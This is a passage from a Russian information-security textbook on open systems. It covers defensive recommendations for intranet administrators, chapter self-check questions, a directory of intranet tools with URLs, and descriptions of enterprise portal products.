11.	Регулярно производите проверку целостности ПО интранета. Проверяйте его на наличие программных закладок.
12.	Регистрируйте все изменения ПБ в обычном бумажном журнале. Регулярно сверяйте ПБ, принятую в интранете, с зарегистрированной в этом журнале. Это поможет обнаружить присутствие программной закладки, если она была внедрена в интранет.
472	Информационная безопасность открытых систем
13.	Пользуйтесь защищенными ОС.
14.	Создайте несколько ловушек для злоумышленников (например, заведите на диске файл с заманчивым именем, прочитать который невозможно с помощью обычных средств, и если будет зафиксировано успешное обращение к этому файлу, значит, в интранет была внедрена программная закладка).
15.	Регулярно тестируйте интранет с помощью специальных программ.
Можно предпринимать различные меры, чтобы обезопасить себя от атак. Зная обо всех ошибках, существующих в ОС интранета, и вовремя устанавливая программные и аппаратные "заплатки”, выпускаемые специализированными фирмами-производителями, можно своевременно предотвратить атаку на интранет со стороны злоумышленника. Кроме того, можно быть в курсе методов, используемых компьютерными взломщиками, читая соответствующие публикации и телеконференции и разделы FAQ. Можно использовать специально встроенные, например в ОС или в СУБД, средства безопасности. (Все эти вопросы конкретизированы во второй части учебника.) Но в любом случае следует ответственно относиться к данным, хранящимся в системе, и регулярно резервировать их, а также приучать к этому всех пользователей интранета.
Вопросы для самоконтроля к гл. 5
1.	Сколько уровней выделяют в модели ИС при организации доступа в другие сети?
2.	На каком уровне модели ИС организация определяет сервисы, которые станут доступными для пользователей из Интернета внутри сети организации?
3.	На каком уровне модели ИС организация определяет сервисы и службы, которые будут открыты ее сотрудникам в сети Интернета?
4.	На каком уровне модели ИС организация определяет правила разграничения доступа к информационным ресурсам своей сети?
5.	На каком уровне модели ИС организация определяет правила доступа к ресурсам ОС?
6.	На каком уровне модели ИС организация определяет правила работы с прикладными программами?
7.	На каком уровне модели ИС организация определяет правила взаимодействия с удаленными пользователями своей сети?
8.	Каковы в общем случае две задачи защиты информационного взаимодействия в открытых системах? Применением каких средств защиты они могут быть решены?
9.	Для чего используются в интранете зоны безопасности?
10.	Что такое эшелонированная защита интранета?
11.	Перечислите этапы создания комплексной системы обеспечения ИБ. Кратко охарактеризуйте эти этапы.
12.	На каком этапе производится поиск уязвимых мест в сети организации?
13.	Осуществление каких мероприятий предполагает управление безопасностью интранета? 14. Какие выделяют основные виды топологии интранета при подключении к Интернету?
15.	В чем преимущества и недостатки физической изоляции?
16.	Как осуществляется изоляция протоколов при подключении к Интернету?
17.	Как реализуется топология на основе использования маршрутизаторов?
18.	Что такое ПБ интранета? Каковы ее основные компоненты? Зачем она нужна?
19.	Каковы этапы выработки ПБ?
20.	Какие предъявляются требования к ПБ?
21.	Какие два вида категорий ПБ вам известны?
22.	Рассмотрите трастовые модели для интранета.
S. Обеспечение информационно!) безопасности в открытых системах	473
23.	Каково содержание документа, описывающего ПБ интранета?
24.	Расскажите о четырех основных и некоторых специализированных ПБ для интранета.
25.	Охарактеризуйте этапы жизненного цикла ПБ.
26.	Что такое анализ рисков и для чего он нужен?
27.	Расскажите об основных сервисах безопасности. Приведите примеры.
28.	Перечислите основные средства обеспечения ИБ в открытых системах и выделите их основные функции.
29.	Какие организационно-правовые методы защиты интранета вам известны.
30.	По каким признакам можно определить, что произошел взлом интранета?
31.	Что делать в случае взлома интранета?
32.	Какова в общих чертах процедура документирования факта взлома интранета?
33.	Как предотвратить посягательства злоумышленников на интранет?
34.	Как проследить за работой пользователей в интранете и Интернете? На основе каких подходов работают эти средства?
35.	Каковы краткие рекомендации администраторам ИБ интранета?
17—2368
Приложение 1. СРЕДСТВА ИНТРАНЕТА (Источник - http://www.iorg.com/tools.html)
Категории	Средства (источники)
Агенты (Agents)	UMBC Agent Web - http://www.cs.umbc.edu/agents/ MIT Software Agents Group -http://agents.www.media.mit.edu/groups/agents/
Агенты навигации -контент (Discovety Agents - Content)	Web Robots Database - http://info.webcrawler.com/mak/projects/robots/active.html Aliweb - http://web.nexor.co.uk/aliweb/doc/aliweb.html Harvest - http://harvest.transarc.com/ Kinetoscope Via Agent Developer (Java Based) - http://www.kinetoscope.com/via/default.htm Merzcom - http://www.merzcom.com/
Агенты навигации -сеть (Discovery Agents - Network)	Advent Network Management (Java Based) -http://www.adventnet.com Concord — http://www.concord.com Kaspia Network Device - http://www.kaspia.com/ Network General - http://www.ngc.com
Поисковые агенты (Search Agents)	AltaVista - http://wwW.altavista.software.digital.com/ Autonomy (Pattern Matching based) - http://www.agentware.com/ Excalibur RetrievalWare (Pattern Matching based) - http://www.excalib.com/products/tech.html Fulcrum - http://www.fulcrum.com/ Livelink Pinstripe - http://pinstripe.opentext.com/ Merzcom - http://www.merzcom.com/ NewSurfer.com (multi-lingual) - http://www.newssurfer.com PicoSearch (eSourced hosted search) - http://www.picosearch.com/ Semio (Pattern Matching based) - http://www.semio.com/ Tacit - http://www.tacit.com/ Ultraseek - http://www.ultraseek.com/ Verity - http://www.verity.com/ Web Browser Intelligence (IBM) - http://www.networking.ibm.com/wbi/wbisoft.htm WebSeeker - http://www.ffg.com/seeker/
Push-агенты (Push Agents)	SkyTel Web Paging Service - http://www.skytel.com/Paging/index.html
Узлы с агентами (Agent Sites)	Best Deals on the Net - http://www.bestdealsonthenet.com
Агенты подписки (Subscription Agents)	BackWeb - http://wwW.backweb.com/ DataChannel (XML Based) - http://www.datachannel.com/ Incisa - http://www.wayfarer.com/ Majordomo - http://www.greatcircle.com/majordomo/ Marimba (Java Based) - http://www.marimba.com/ NewsFlash - http://www.scroller.com/ PointCast - http://www.pointcast.com/ Smart Delivery - http://www.calicotech.com/ Tibco (Rendezvous) - http://www.rv.tibco.com/
Агенты трассировки (Tracking Agents)	eClips (Wireless Services) - http://www.azur.com/eClips.asp javElink - http://www.javelink.com/ Karnak - http://www.Karnak.com/ Katipo - http://www.vuw.ac.nz/%7Enewbeiy/Katipo.html Morning Paper - http://www.boutell.com/morning/
Приложение 1. Средства интранета
475
Категории	Средства (источники)
	NetMind - http://www.netmind.com/ Tympani NetAttche Pro - http://tympani.com/products/NAPro/NAPro.html Tympani NetAttache Server (Group Services) - http://tympani.com/products/NAES.html WebSeeker - http://www.bluesquirrel.com/products/seeker/webseeker.html
Коллективная работа (Collaboration)	Bantu - http://www.bantu.com/
Обсуждение текста (Discussion, text)	Comment Line Webware — http://www.eclipse.net/%7Emainstek/snet/softinfo.shtml eShare Technologies — http://www.eshare.com/ ForeFront Roundtable - http://www.ffg.com/roundtable/ Forum News Gateway - http://forum.swarthmore.edu/forum.news.gateway.html HyperMail - http://www.eit.com/software/hypermail/ Internet TalkShow - http://web.futurelabs.com/home/data_int.html Involv (Online service-based, USWest & ChangePoint) -http://www.involv.net/ Majordomo - http://www.greatcircle.com/majordomo/ Mastermind Forum Master - http://mastermind.net/forum/ MIT Conferencing Gateway - http://www.mit.edu:8008/info.html Netscape Collabra Server - http://www.netscape.com/collabra/v3-5/index.html Web Crossing - http://www.webcrossing.com/ Web Board - http://webboard.oreilly.com/ Xpound - http://www.xpound.com
Аудиовидеодискуссии (Discussion, audiovideo)	CU-SeeMe, White Pine Reflector — http://www.wpine.com/ netPodium (Java Based) — http://www.netpodium.com/ VXTREME video streaming - http://www.vxtreme.com/
Календарь - расписание (Calendaring — Scheduling)	Amplitude Reserve - http://www.amplitude.com/ CrossWind CyberScheduler - http://www.crosswind.com/ CS&T CorporateTime - http://www.cst.ca/new/releases/webserver.htm Netscape Calendar Server - http://www.netscape.eom/calendar/v3.5/index.html Oblix (Resource Scheduling) — http://www.oblix.com/ Visto (online service) - http://www.visto.com/
Совместное использование документов (Document Sharing)	DataChannel (XML Based) - http://www.datachannel.com/ Inso Outside-In Server - http://www.inso.com/oiserver/ Net-It Central - http://www.net-it.com/ NuParadigm - http://www.nuparadigm.com/ Transit Central - http://www.infoaccess.com/transitproducts/ docman/dmmain.htm Tympani Atlas Server - http://tympani.com/products/ATLAS/index.html Web Wizards (create and edit MS Office docs through a web browser) - http://www.documentautomation.com/
Управление ответами по электронной почте (Email Response Management)	Brightware - http://www.brightware.com/products/index.html eGain - http://www.egain.com/ Genius Server - http://www.novuweb.com/ mailQueue - http://www.mailqueue.com/
476
Информационная безопасность открытых систем
Категории	Средства (источники)
Формы (Forms)	F3 WebFlow - http://www.f3forms.com/ FreeForms (a free service through your web browser) - http://www.free-forms.com/ Informed Filler for Java - http://www.shana.com/products/process/ JetForm - http://www.jetform.com/ OmniForm - http://www.caere.com/products/omniform/ PenOp (digital, handwritten signatures with documents) - http://www.penop.com/ SuperForm AB - http://www.superform.se/english/mainpage.htm UWI Internet Forms (with digital signatures) - http://www.uwi.com/
Бизнес- процессы (Workflow)	Workflow Management Coalition (Workflow standards Organization) - http://www.aiim.oig/wfmc/ Accentuate (SamePage) - http://www.accentuate.com/ Action Technologies - http://www.actiontech.com/ Comment Line WebWare - http://www.eclipse.net/%7Emainstek/snet/softinfo.shtml Markeitng Central (Online service-based) - http://www.marketingcentral.com/ Mesa/Vista - http://www.mesasys.com/ OpenText - http://www.opentext.com/livelink/otm_ll_ll.html PM Office - http://www.systemcorp.com/
Отслеживание времени (Time Tracking)	ClockSheets - http://www.clocksheets.com/ Computer Strategies - http://www.computerstrategies.com/ Extensity - http://www.extensity.com/fr_products.html UnaTime (Time & Expense) - http://www.unanet.com/
Офисные пакеты (Office Suites)	CyberOffice - http://cyberoffice.sicc.co.kr/cyberoffice/english/ environment.html MagicalDesk - http://216.32.166.170/main/login.asp Millenniumoffice - http://www.MillenniumOffice.com/
Разработка (Development). Средства настройки (Configurators)	Expert - Neuron Data - http://www.neurondata.com/ MXP Rules Based Configurator - http://www.bsgi.com/
Интеграция баз данных и Web (Database/Web Integration)	Cognos Impromptu Web Query - http://www.cognos.com/ db-Connector - http://www.csm-usa.com/ Merant DataDirect - http://www.merant.com/datadirect/ Microrim R:WEB - http://www.microrim.com/RBASE_ Prod- ucts/Software/RWeb_Features.html TranFuse from Insession - http://www.insession.com/html/products.html
Средства разработки (Development Tools)	Drumbeat - http://www.drumbeat.com/ Interwoven TeamSite - http://www.interwoven.com/ IntraLaunch - http://www.particle.net/IntraLaunch/ MKS - http://www.mks.com/ NetObjects Fusion - http://www.netobjects.com/ SNiFF+ - http://www.takefive.com/ Web/Synergy - http://www.continuus.com/
Анализ производительности (Performance Analysis)	Application Expert — Optimal Networks - http://www.optimal.com/ EnView - Amdahl - http://www.amdahl.com/cgi-bin/press-index/19990323-001 .htm Mercury Interactive - http://www.merc-int.com/ Red Gate Software - http://www.red-gate.com/
Приложение 1. Средства интранета
477
Категории	Средства (источники)
Управление проектами (Project Management)	Inovie TeamCenter - http://www.inovie.com/ Merant PVCS - http://www.merant.com/pvcs/ Mesa/Vista - http://www.mesasys.com/ Netmosphere (Java Based) - http://www.netmosphere.com/ PlanView - http://www.planview.com/ PM Office (Java Based) - http://www.systemcorp.com/ Rational Concepts (Java Based) - http://www.rationalconcepts.com UnaPulse (with Time & Expense Tracking) -http://www.unanet.com/ WebProject (Java Based) - http://www.wproj.com/
Оптимизаторы изображений (Image Accelerators)	DeBabbelizer - http://www.equil.com/ GIF Wizard - http://www.gifwizard.com/
Редакторы мультимедиа (Multimedia Editors)	LeamCom - http://www.leamcom.com/solutions.html Lotus Screencam (Session Capture) - http://www.lotus.com/ Microsoft Camcorder (Session Capture) - http://www.microsoft.eom/msoffice/office/enhancements/camcordr.a sp MovieWorks Interactive - http://www.movieworks.com/ NetStudio - http://www.netstudio.com/ Strata - http://www.strata3d.com/
Средства поддержки принятия решений/обработки данных в режиме реального времени (DSS/OLAP Tools)	Arbor ESSBASE- http://www.arborsoft.com/essbase/datasht/ewebgat.html NS.Report Web - http://reportweb.netsoft.com/
Приложения на базе Java (Java-Based Applications)	TransVirtual (Java technology provider) -http://www.transvirtual.com/ Clock Sheets (I-Net Time Tracking System) - http://www.clocksheets.com/ Extensity (Time & Expense Reporting) - http://www.extensity.com/home.htm InstallAnywhere2 - http://www.zerog.com/ Mission-PDM (Supply-Chain Management) - http://www.maxim-it.com/products.html Netmosphere (Project Management) - http://www.netmosphere.com/ Netscape AppFoundary (Collection)- http://home.netscape.com/one_stop/intranet_apps/ Out-Of-The-Box" Intranet Applications (Collaboration) — http://www.oblix.com/ Rational Concepts (Project Management) - http://www.rationalconcepts.com/ WebProject (Project Management) — http://www.wproj.com/
Интеграция с законодательством (Legacy Integration)	Amazon Web to Legacy - http://www.ieinc.com/ CST - Jacada - http://www.cst.com/ Enterprise Link - http://www.enterpriselink.com/ Legacy connect tools from Idea - http://www.idea.com/ Merant MicroFocus Tools — http://www.merant.com/ads/ Neon Shadow Web Server - http://www.neonsys.com/ NS.Report Web -http://www.netmanage.com/products/ns_reportweb/ Simware - http://www.simware.com/
478
Информационная безопасность открытых систем
Категории	Средства (источники)
	SNA Surfer from Polaris - http://www.polariscomm.com/products/data/snasfds.htm
Методы использования (Usability Methods)	The Usability Methods Toolbox - http://www.best.com/%7Ejthom/usability/
Разное (Miscellaneous)	Microsoft Internet Workshop - http://microsoft.com/workshop/ Milky Way Security Software - http://www.milkyway.com/ Shockwave: Plug-In Center — http://www.macromedia.com/ Tools/Shockwave/sdc/Plugin/MacPlg.html
Сопровождение и администрирование (Maintenance & Management). Управление доступом (Access Management)	Synchronicity - http://www.netvisn.com/
Средства для авторов (Authoring & Extended Authoring Tools)	Adobe PageMill — http://www.adobe.com/prodindex/pagemill/main.html Chili!ASP (Active Server Pages for Unix) - http://www.chilisoft.com/ Claris Homepage - http://www.clarishomepage.com/overview/ovr_hdr.html GlobalX CORE System - http://www.globalx.com/ MS FrontPage - http://www.microsoft.com/frontpage/productinfo/default.htm Netscape Web Tools - http://home.netscape.com/home/how-to-create-web-services.html Revize - http://www.revize.com/ SmartTable (converts spreadsheets into Java applets) - http://www.vni.com/products/wpd/SmartTable/ Trellix Authoring Tool - http://www.trellix.com/html/frameset.asp?stage=b_prod.htm Web Wizards (create and edit MS Office docs through a web browser) - http://www.documentautomation.com/
Серверы управления документами (Document Management Servers)	Documentum — http://www.documentum.com/ Domino.Doc - http://www.lotus.com/ FileNet - http://www.filenet.com/ Hyperwave Information (ODMA 1.5 Compliant) -http://www.hyperwave.com/ iManage — http://www.netright.com/ iNET Developer — http://www.pictorius.com/ InfoPlace - http://www.infoplace.com/ Intranet Solutions (Java Based) - http://www.intranetsol.com/ Microstar (SGML/XML Based) - http://www.microstar.com/ MKS Web Integrity - http://www.mks.com/solution/wi/ OmniMark (SGML/XML Based) - http://www.omnimark.com/ OpenText - http://www.opentext.com/ Texcel International (SGML/XML Based) - http://www.texcel.no/
Автоматизированное управление службой поддержки (Automated Support Center Management)	eGain — http://www.egain.com/
Приложение 1. Средства интранета
479
Категории	Средства (источники)
Менеджеры Web-среды (Web Environment Managers)	Interwoven TeamSite - http://www.interwoven.com/ Platinum Raveler- http://www.platinum.com/products/rav_ps.htm
Серверы приложений (Application Servers)	Allaire Cold Fusion — http://www.allaire.com/ Bluestone - http://www.bluestone.com/ CreDO - http://www.credobase.com/ Cyberprise - http://www.cyberprise.com/vision_index.html Infoscape - http://www.infoscape.com/ Intertop - I-Xpresso - http://www.intertop.com/ NetDynamics - http://www.netdynamics.com/products/ NetObject Fusion - http://www.netobjects.com/ Netscape Application Server — http://www.netscape.com/ com-prod/server_central/kiva/index.html NeXT WebObjects - http://software.apple.com/webobjects/ Persistence - http://www.persistence.com/ Perspecta (XML Based) - http://www.perspecta.com/ Progress/Apptivity (Java Only) - http://www.apptivity.com/ RadNet WebShare - http://www.radnet.com/ SilverStream (Java Only) - http://www.silverstream.com/ Tengah - http://www.weblogic.com/
Средства проверки связей (Link Checkers)	Astra Site Manager - http://www.merc-int.com/products/ astrasitemanager/ BiggByte - http://www.biggbyte.com/ Blueprint - http://www.brooknorth.com/products/blueprint.html Dr. Watson - http://www.addy.com/watson/ GIF Wizard - http://www.gifwizard.com/ Inspector Web - http://www.greenpac.com/inspector/ LinkBot - http://www.tetranetsoftware.com/ Linklint - http://www.goldwarp.com/bowlin/linklint/ Ivrfy - http://www.cs.dartmouth.edu/%7Ecrow/lvrfy.html Net Mechanic - http://www.netmechanic.com/ SiteBoss - http://www.siteboss.com/ - Opposite Software ParaSoft WebKing (checks other features too) - http://www.parasoft.com/press/releases/wizard/html_beta.htm SiteSweeper - http://www.sitetech.com/ Tetranet LinkBot - http://www.tetranetsoftware.com/ products/linkbot.htm Watchfire - http://www.watchfire.com/ WebTrends - http://www.webtrends.com/wt_main.htm
Глобализация (Globalization)	Idiom Technologies - http://www.idiomtech.com/ Uniscape - http://www.uniscape.com/
Средства индексации (Indexers)	Autonomy - http://www.autonomy.com/ Tetranet WiseBot - http://www.tetranetsoftware.com/
Серверы управления динамическими страницами (Dynamic Page Servers)	2Bridge Software - http://www.2bridge.com/ Eprise Participant Server - http://www.eprise.com/ FutureTense - http://www.futuretense.com/front.html Inso Dynabase - http://www.inso.com/ NCompass resolution - http://www.ncompassl-resolution.com/ Netscape PublishingXpert - http://cgi.fr.netscape.com/products/commapps/pubx.html Verano Iluminar - http://www.verano.com/ Vignette StoryServer - http://www.vignette.com/
480
Информационная безопасность открытых систем
Категории	Средства (источники)
	Wallop Build-IT - http://www.wallop.com/ Xerox DocuShare - http://www.xerox.com/products/docushare/
Анализаторы журналов (Log Analyzers)	NCSA List - http://union.ncsa.uiuc.edu/HyperNews/get/ www/log-analyzers.html Accrue Insight (Platform independent) - http://www.accrue.com/ Marketwave Hitlist (NT only) - http://www.marketwave.com/ Maxamine — http://www.maxamine.com/ SurfWatch (Request analysis & blocking) - http://www.surfwatch.com/ Watchfire - http://www.watchfire.com/ WebTrends (NT only) - http://www.webtrends.com/wt_main.htm
Микросерверы (Microservers). Приложения (Applications)	CyberNode (Real-Time Factory to I-net) -http://www.concursys.com/ Encanto Networks (Store-Front) - http://www.encanto.com/
Web-серверы (General Web)	Cobalt Microservers - http://www.cobaltmicro.com/ Encanto Networks (Java Based) - http://www.encanto.com/ Freegate - http://www.freegate.com/products/product_overview.html Microtest - http://www.zerver.com/webzerver/html/productoverview.html
Сетевое управление (Network Management)	Network Appliances NetCache -http://www.netapp.com/news/level3b/news_rel_971208.html Sun Netra Proxy Cache - http://www.sun.com/products-n-solutions/hw/networking/netraproxy/ New Oak Extranet Access Switch (VPN Services) -http://www.newoak.com/ VPNet (VPN Services) - http://www.vpnet.com/
Встроенные Web-серверы (Embedded Web Servers)	Agranat EmWeb - http://www.agranat.com/index.html
Поддержка многоязычное™ (Multi-Lingual Support). Автоматизированный перевод (Automated Language Translation)	Language Force - http://www.wforce.com/
Версии документов на разных языках (Multi-Lingual Authoring)	Tango Web Creator - http://www.alis.com/intemet_products/index.en.html
Поддержка печати (Printing Support)	WebPrinting (Windows & Mac) - http://www.ffg.com/wp/
Обучение (Training). Доставка (Delivery)	Centra Symposium - http://www.centra.com/product/index.html ILINC LeamLinc - http://www.leamlink.com/ KnowledgeSoft KoTrain - http://204.183.205.155/ LeamCom - http://www.leamcom.com/solutions.html netPodium (Java Based) - http://www.netpodium.com/ Pathlore Phoenix - http://www.pathlore.com/
Разработка (Development)	Docent Software — http://www.docent.com KnowledgeSoft KoTrain - http://204.183.205.155/ Macromedia Authorware - http://www.macromedia.com/ software/authorware/
Приложение 1. Средства интранета
481
Категории	Средства (источники)
	mBED - http://www.mbed.com/ MovieWorks Interactive - http://www.movieworks.com/ Pathlore Phoenix - http://www.pathlore.com/
Администрирование (Management)	IEEE Learning Technology Standards -http://www.manta.ieee.0rg/p1484/ CBM Technologies TEDS - http://www.cbm.com/ Centra Symposium - http://www.centra.com/product/index.html Docent Software - http://www.docent.com/ KnowledgeSoft LOIS - http://204.183.205.155/ Macromedia Pathware - formerly Solis - http://www.macromedia.com/software/pathware/ Pathlore Phoenix - http://www.pathlore.com/ TeamScape (Java Based) - http://www.teamscape.com TrainingServer@Online - Syscom - http://www.trainingserver.com/
Управление производительностью (Performance Support)	Assistware - http://www.assistware.ie/ Desktop Support Factory - http://www.usabilitysciences.com/ Step-By-Step 9000 - http://www.systemcorp.com/products/isoqs.htm
Приложение 2. СРЕДСТВА СОЗДАНИЯ ПОРТАЛОВ
Разработчиками создано много систем, автоматизирующих процесс создания портала [34]. Кратко рассмотрим возможности некоторых из них, как всегда оговорив то, что на рынке очень быстро появляются все новые и новые средства.
1.	Пакет Enterprise Information Portal (EIP) компании Hummingbird Communication. Компания Hummingbird разрабатывает решения масштаба предприятия более 15 лет. Ее продукт Enterprise Information Portal является настраиваемой инфраструктурой, представляющей собой узел доступа к корпоративным приложениям и данным, информации и знаниям внутри и за пределами предприятия. Enterprise Information Portal создан на основе нескольких продуктов Hummingbird, ни один из которых, однако, не является его обязательной составной частью. Это объясняется тем, что Enterprise Information Portal может быть внедрен в готовую инфраструктуру и интегрирован с уже имеющимися операционными системами и приложениями.
Особенностью Enterprise Information Portal является управление структурированной и неструктурированной информацией, а также расширение возможности управления документами и знаниями с помощью создания хранилищ данных, применения средств Business Intelligence, что позволяет создавать полнофункциональные интегрированные портальные решения.
Из компонентов Enterprise Information Portal следует отметить Hummingbird Genio Suite - средство интеграции, основанное на извлечении, преобразовании и загрузке данных (Extract, Transformation, and Load, ETL) и интеграции приложений (Enterprise Application, EAI). Используя Genio, можно обращаться к структурированным источникам данных, таким, как данные ERP- и CRM-систем и других бизнес-приложений, а затем строить на их основе хранилища данных. При этом пользователь может выполнять большое количество разнообразных операций (таких, например, как создание, сохранение, публикация и рассылка отчета) без переключения между различными приложениями.
Достигаемый при этом уровень интеграции между источниками данных позволяет находить нужные данные внутри и за пределами организации, осуществляя поиск во внешних и внутренних источниках структурированных и неструктурированных данных - на файловых серверах, в данных Microsoft Exchange, Lotus Notes, хранилищах данных, Интернет-приложениях, таких, как Hummingbird Bl/Web и т. д., а затем получать результаты такого комбинированного поиска, отсортированные по определенному критерию. При этом пользователи получают только те из требуемых данных, доступ к которым им разрешен.
Enterprise Information Portal может информировать пользователей, уведомляя их по электронной почте об изменении данных или иного информационного наполнения.
Возможности интеграции Enterprise Information Portal с бизнес-приложениями реализуются посредством e-Clips - модулей расширения, основанных на обмене XML-данными и создаваемых разработчиками с помощью скриптовых языков.
Hummingbird EIP поддерживает персонализацию, базирующуюся на проведенных пользователями настройках интерфейса. Кроме того, Hummingbird EIP поддерживает профили пользователей, зависящие от того, с какими приложениями и документами они работают наиболее часто; подобные профили могут быть употреблены при предоставлении пользователям той или иной информации.
Приложение 2. Средства создания порталов
483
Hummingbird EIP поддерживает различные средства и модели безопасности, такие, как Lightweight Directory Access Protocol (LDAP), Novell Directory Services (NDS), NT LAN Manager (NTLM), Network Information Services (NIS), Active Directory Services (ADS). При передаче данных через Интернет поддерживается Secure Sockets Layer (SSL).
Отметим, что, как и большинство продуктов подобного класса, Hummingbird EIP является масштабируемым - он может обслуживать десятки тысяч пользователей. Это достигается за счет применения нескольких серверных частей и использования собственного контейнера для сервлетов, который одновременно и обслуживает HTTP-запросы, и сосуществует с другими веб-серверами.
Hummingbird EIP поддерживает различные клиентские устройства, такие, как персональные компьютеры, мобильные средства, WAP-телефоны.
Среди средств, поддерживаемых КП, можно выделить:
	системы управления документами (CyberDOCS, Documentum и др.);
	почтовые службы (Lotus Notes, MS Exchange);
	системы планирования ресурсов предприятий - ERP (SAP, R/3);
	системы управления знаниями;
	хранилища данных и др.
Подробную информацию об Enterprise Information Portal можно найти на сайте компании Hummingbird.
2.	InfoExchange Portal (BroadVision). Компания BroadVision специализируется на интегрированных наборах приложений для обслуживания электронной коммерции и транзакций. BroadVision InfoExchange Portal - один из основных продуктов этой компании и, как и большинство инструментов создания порталов, является средством предоставления доступа к данным, ресурсам, бизнес-процессам и приложениям сотрудников компании, ее клиентов, партнеров и поставщиков. С помощью InfoExchange Portal можно создавать В2Е-порталы, порталы для обмена данными с поставщиками и партнерами, В2С- и корпоративные порталы, содержащие встроенные средства управления структурированным и неструктурированным информационным наполнением, инструменты для удаленного администрирования, средства поддержки транзакций внутри информационных систем, функционирующих в компании, средства персонализации и коллективной работы.
BroadVision InfoExchange Portal содержит масштабируемый сервер приложений, а также средства интеграции бизнес-процессов и приложений — Enterprise Integration Framework. Средства интеграции поддерживают создание распределенных приложений на базе Java 2 Enterprise Edition (J2EE), а также включают адаптеры для доступа к приложениям независимых производителей - к СУБД, ERP- и CRM-системам, каталогам Lightweight Directory Access Protocol (LDAP).
Управление профилями пользователей, типами страниц и категоризацией информации происходит с помощью веб-интерфейса.
Персонализация может осуществляться исходя из роли пользователя, а также на основе его поведения на сайте, целей, задач, местоположения и времени. Кроме того, пользователи могут модифицировать вид сайта для своих нужд, организовав себе самый удобный доступ к наиболее часто используемым данным и приложениям. Доступ к документам и данным, а также рассылка документов также осуществляются на основе ролей. Возможен также доступ к данным и приложениям портала с помощью
484
Информационная безопасность открытых систем
мобильных устройств. Доступ пользователей к данным и приложениям осуществляется с помощью портлетов - компонентов портала, представляющих собой элементы интерфейса веб-страниц.
В BroadVision InfoExchange Portal возможен также доступ к данным из внешних источников, например к финансовой информации, новостям, метеосводкам.
BroadVision InfoExchange Portal содержит средства управления документооборотом, позволяющие управлять маршрутами документов и данных, средства групповой работы (такие, как создание сообществ и дискуссионных групп), а также средства уведомления пользователей об изменениях в данных или документах. Средства поиска данных и документов, используемые в BroadVision InfoExchange Portal, лицензированы у компании Verity. Помимо этого в состав данного продукта входят и средства управления информационным наполнением, позволяющие осуществлять создание и публикацию документов, контроль версий, управление жизненным циклом документов и их фрагментов, непосредственную публикацию в Web, коллективную работу над документами. Возможно также совместное применение BroadVision InfoExchange Portal и BroadVision One-to-One Content - средства управления информационным наполнением веб-сайтов.
BroadVision InfoExchange Portal может выполняться под управлением ОС HP-UX и Sun Solaris, применяться совместно с веб-серверами Apache, Microsoft Internet Information Services, Netscape Enterprise Server и с другими веб-серверами, поддерживающими выполнение CGI-приложений, а также использоваться совместно с СУБД компаний Informix, Oracle, Sybase.
Подробную информацию об InfoExchange Portal можно найти на сайте компании BroadVision.
3.	CleverPath Portal (ранее — Jasmineii Portal) (Computer Associates, CA). Этот продукт представляет собой одно из наиболее мошных в отрасли средств создания корпоративных порталов, а также персонализированного представления информации из разнообразных источников в Web. С помощью CleverPath Portal IT-отделы предприятий могут быстро разрабатывать и внедрять защищенные веб-порталы, предоставляющие как внешним, так и внутренним пользователям все данные, необходимые для принятия решений и способствующие улучшению взаимодействия между организациями, а также повышению эффективности деловых операций.
CleverPath Portal открывает доступ ко всему спектру информации, существующей в интранете и в Интернете, в том числе к таким ее формам, как веб-страницы, данные реального времени, документы Microsoft Office и Excel, сообщения электронной почты, данные корпоративных приложений, другие структурированные данные, например хранящиеся в базах данных. Продукт использует ряд специфических технологий СА для визуализации данных, давая возможность разработчикам создавать графически насыщенные и интуитивные представления сложных комбинаций данных для разнообразных категорий пользователей портала. CleverPath Portal включает также средства поиска, дающие возможность пользователям любой квалификации быстро находить и обрабатывать нужную информацию.
CleverPath Portal является на сегодняшний день единственным портальным продуктом, способным динамически персонализировать информацию, предоставляемую отдельным пользователям или группам. Подобная возможность, реализованная за счет применения технологии СА Neugentsii, значительно повышает эффективность
Приложение 2. Средства создания порталов
485
работы коммерческих порталов, поскольку за счет этого пользователям максимально быстро становится доступной именно та информация, которая им требуется. Технология Neugentsii может также применяться для получения нужной информации на основе анализа пользовательских предпочтений и профилей. Отметим также, что пользователи CleverPath Portal имеют возможность обмениваться данными в реальном времени, что повышает эффективность их работы.
В качестве инфраструктуры CleverPath Portal может использовать платформу СА Jasmineii для доступа к разнообразным источникам данных на различных платформах, операционных системах и приложениях. Однако не исключается возможность применения CleverPath Portal с серверами приложений и СУБД других производителей.
CleverPath Portal легко интегрируется с продуктом EUREKA Suite, приобретенным у фирмы Sterling Software, Inc., что позволяет оснастить портал различными средствами Business Intelligence, включая OLAP-средства. Из языков программирования данный продукт поддерживает C++, Java, Visual Basic. Технология Neugentsii, применяемая в CleverPath Portal, поддерживает Component Object Model (COM), Common Object Request Brokering Architecture (CORBA), XML, Mail Application Programming Interface (MAPI), а из универсальных механизмов доступа к данным -OLE DB и ODBC.
CleverPath Portal содержит средства интеграции с ERP-системами, такими, как SAP, PeopleSoft, CRM-системами (Siebel). За счет поддержки LDAP осуществляется также интеграция со средствами групповой работы и обмена сообщениями (Microsoft Exchange, Lotus Notes).
Будучи Java-приложением, CleverPath Portal совместим co всем спектром настольных ПК, мобильных и карманных устройств, оснащенных средствами Java.
Подробную информацию о CleverPath Portal можно найти на сайте компании Computer Associates.
4.	WebSphere Portal Server (WPS). Этот продукт компании IBM - предложение для построения горизонтальных и корпоративных порталов, предоставляющее доступ к приложениям, данным и экспертам с помощью программных модулей (адаптеров), называемых портлетами. Компания IBM предлагает широкий выбор готовых портлетов в составе продукта и инструменты разработки собственных портлетов.
Среди охватываемых разновидностей данных, предоставляемых WPS, - информация, поступающая от новостных агентств, неструктурированная информация, пакеты приложений независимых разработчиков, традиционные приложения, СУБД и файловые системы, системы управления информационным наполнением сайтов, офисные пакеты.
WPS может быть развернут как корпоративный портал для сотрудников, бизнес-партнеров и заказчиков. Этот продукт содержит функции структурирования и категоризации информационного наполнения, обеспечения безопасности, персонализации, управления документооборотом).
Структура WPS основана на следующих продуктах: WebSphere Application Server, WebSphere Personalization, WebSphere Everyplace Suite, а также на программных продуктах Lotus Corporation.
Службы представления WPS предоставляют простой в использовании тонкий клиент с веб-интерфейсом, с помощью которого пользователи, работающие с браузером, могут настраивать вид портала, опции поиска бизнес-контента и доступа к нему.
486
Информационная безопасность открытых систем
Данные службы работают совместно с WebSphere Everyplace Suite, который позволяет адаптировать пользовательский интерфейс к возможностям мобильных устройств и WAP-телефонов. Службы персонализации WPS используют интеграцию с продуктами Tivoli.
